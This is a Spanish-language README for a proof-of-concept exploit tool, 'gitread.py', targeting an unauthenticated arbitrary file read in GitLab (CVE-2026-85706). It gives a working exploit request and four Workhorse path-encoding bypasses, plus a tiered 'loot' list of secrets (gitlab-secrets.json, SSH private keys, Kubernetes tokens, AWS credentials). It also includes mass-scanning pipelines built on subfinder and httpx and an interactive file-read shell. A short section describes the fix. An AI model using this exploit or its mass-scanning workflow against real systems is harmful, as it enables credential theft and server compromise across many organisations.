
CVE-2026-85706 · lectura de archivos sin autenticación en GitLab CE/EE · PoC de investigación con modo oracle, enumeración de fd y objetivo de loot por niveles
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Afectado | 18.7 a 19.1.7, 19.2.0 a 19.2.5, 19.3.0 a 19.3.1 |
| Corregido | 19.1.8 / 19.2.6 / 19.3.2 (publicado el 2026-09-10) |
| Componente | Repository Commits API / Files API (Workhorse body-upload) |
| Reporter | s3ntago vía GitLab HackerOne |
Tres endpoints de la API de repositorio se encuentran detrás del requestBodyUploader de Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
El handler de Rails llama a File.open(params['file.path']) antes de authenticate!. Cuatro condiciones hacen que esto sea explotable:
1. La autenticación se ejecuta después de la lectura del archivo.
require_gitlab_workhorse! solo verifica el encabezado JWT Gitlab-Workhorse-Api-Request. Workhorse estampa ese encabezado en cada solicitud que proxea, incluyendo passthroughs simples. El authenticate! real vive dentro de authorize_push_to_branch!, que se ejecuta después de que file_params_from_body_upload ya haya leído el archivo del disco.
2. file.path proviene directamente de la solicitud.
file_params_from_body_upload lee params['file.path'] como una ruta absoluta sin validación. En el flujo previsto, Workhorse escribe la carga en un archivo temporal e inyecta ese parámetro por sí mismo. Un atacante simplemente lo envía directamente como un parámetro de cadena de consulta apuntando a cualquier lugar del sistema de archivos.
3. La coincidencia de rutas de Workhorse nunca decodifica el percent-encoding.
Workhorse compara las rutas de carga contra EscapedPath(), los bytes de URL sin procesar tal como se reciben. Puma decodifica las secuencias %XX antes de enrutar a Grape. Por lo tanto, codificar un carácter en un segmento estático hace que Workhorse omita su regla de reescritura mientras Rails sigue enrutando al handler vulnerable:
POST /api/v4/projects/1/repository/commits/ (barra diagonal final)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (sufijo de formato de Grape)
4. Rack devuelve el contenido del archivo en la respuesta de error.
Con Content-Type: application/x-www-form-urlencoded, el contenido del archivo se entrega a Rack::Utils.parse_nested_query. Cualquier % sin dos dígitos hexadecimales a continuación genera InvalidParameterError: invalid %-encoding (<content>). Todo hasta el primer & en el archivo se devuelve en el cuerpo del 400.
Los archivos sin % sin escape aún se leen antes de la autenticación. La respuesta 401 de la rama urlencoded y un 500 de la rama multipart confirman ambas que el archivo existe y es legible por el usuario git, lo que las hace útiles como oráculo de existencia.
Solicitud de exploit:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file lee cualquier archivo individual; recurre automáticamente al oráculo si no hay un disparador de eco--loot ejecuta 36 objetivos en 7 niveles, ordenados por probabilidad confirmada de disparador de eco--oracle ejecuta una sonda de doble rama (urlencoded + multipart) contra archivos sin eco e indica si cada uno es legible, inexistente o ilegible--proc enumera /proc/self/fd/0-31 para encontrar descriptores de archivo abiertos, luego lee objetivos de reconocimiento estándar de /proc--shell entra en un shell interactivo de lectura de archivos con los comandos cat, loot, oracle, project y curl--pipe lee objetivos desde stdin y maneja salida de subfinder, texto de httpx, JSON de httpx, JSON de nuclei y líneas de host sin procesar--list toma un archivo de objetivos, uno por línea--threads para escaneo masivo concurrente--proxy enruta todo a través de Burp o mitmproxy--raw escribe bytes sin procesar en stdout sin decoración, útil para redirigir a un archivo--full ejecuta loot, oracle y proc en una sola pasada-opip install requests
python3 gitread.py -h
Requiere Python 3.10 o superior. Sin otras dependencias.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin se detecta automáticamente cuando no es un TTY, por lo que --pipe es opcional en la mayoría de los casos.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Veredicto | Significado |
|---|---|
leak | Contenido del archivo devuelto en el cuerpo del 400, lectura confirmada |
leak-frag | Eco parcial mediante error de tipo de parámetro |
read-noecho | El archivo se leyó antes de la autenticación pero no tiene % sin escape, por lo que no se devolvió nada |
READABLE | La rama multipart devolvió 500, el archivo existe y es legible por el usuario git |
missing | El servidor indicó que el archivo local no está presente |
rewrite | Workhorse reescribió el cuerpo, esta forma de bypass está muerta |
noroute | Rails 404, la instancia está parcheada o la ruta es incorrecta |
server-error | 500, el archivo existe pero causó un error de análisis |
| Nivel | Archivos | Eco |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | El contenido se filtra directamente |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Solo oráculo, hex puro |
| 3 | .gitlab_workhorse_secret | Solo oráculo |
| 4 | Claves privadas SSH y authorized_keys | Solo oráculo |
| 5 | gitlab-shell.yml, gitaly.toml, configuración de PostgreSQL | Solo oráculo |
| 6 | Token de cuenta de servicio de Kubernetes, credenciales de AWS | Solo oráculo |
| 7 | Hostname, hosts, passwd, os-release, environ | Solo oráculo |
| Flag | Descripción |
|---|---|
-t, -u, --target | URL base única |
--pipe | Leer objetivos desde stdin |
--list FILE | Archivo de objetivos |
--file PATH | Ruta absoluta única a leer |
--loot | Ejecución completa de loot de 36 objetivos |
--oracle | Sonda de doble rama de archivos sin eco |
--proc | Enumeración de fd en /proc y reconocimiento |
--shell | Shell interactivo después del escaneo |
--full | loot + oracle + proc |
--project-id ID | Forzar un id de proyecto en lugar de autodetectarlo |
--force | Escanear incluso si el objetivo no se identifica como GitLab |
--raw | Escribir bytes sin procesar en stdout, sin decoración |
--proxy URL | Proxy HTTP/S |
--threads N | Hilos de trabajo para el modo pipeline (por defecto 8) |
--timeout N | Tiempo de espera por solicitud en segundos (por defecto 15) |
-o FILE | Guardar informe (.json para array con formato, cualquier otra cosa para JSONL) |
-q, --quiet | Imprimir solo los aciertos |
-v, --verbose | Mostrar cada intento de sonda |
--no-banner | Suprimir el banner |
Códigos de salida: 0 fuga confirmada, 1 solo oráculo o sin fugas en pipeline, 2 nada encontrado.
Corregido en el commit maestro 0d9ce3e7, retroportado como 1fe30154 / b43c8b26 / 0ff7b6b2.
Se cambiaron tres cosas al mismo tiempo:
authenticate! se movió antes de file_params_from_body_upload en los tres endpoints para que el archivo nunca se lea en una solicitud no autenticadafile.path ahora solo se acepta desde un objeto UploadedFile tipado producido por el middleware multipart, que requiere un JWT válido firmado por Workhorse, no desde un parámetro de cadena de consulta sin procesarInvalidParameterError ya no interpola e.message en el cuerpo de la respuesta, por lo que el canal de eco se cierra incluso si alguien encontrara una forma de eludir las dos primeras correccionesEl bug se introdujo en GitLab 18.7 (diciembre de 2025) cuando se agregó la variante body-upload de la API de commits.
hecho con amor por @plur1bu5 -- si te resulta útil, se agradece una estrella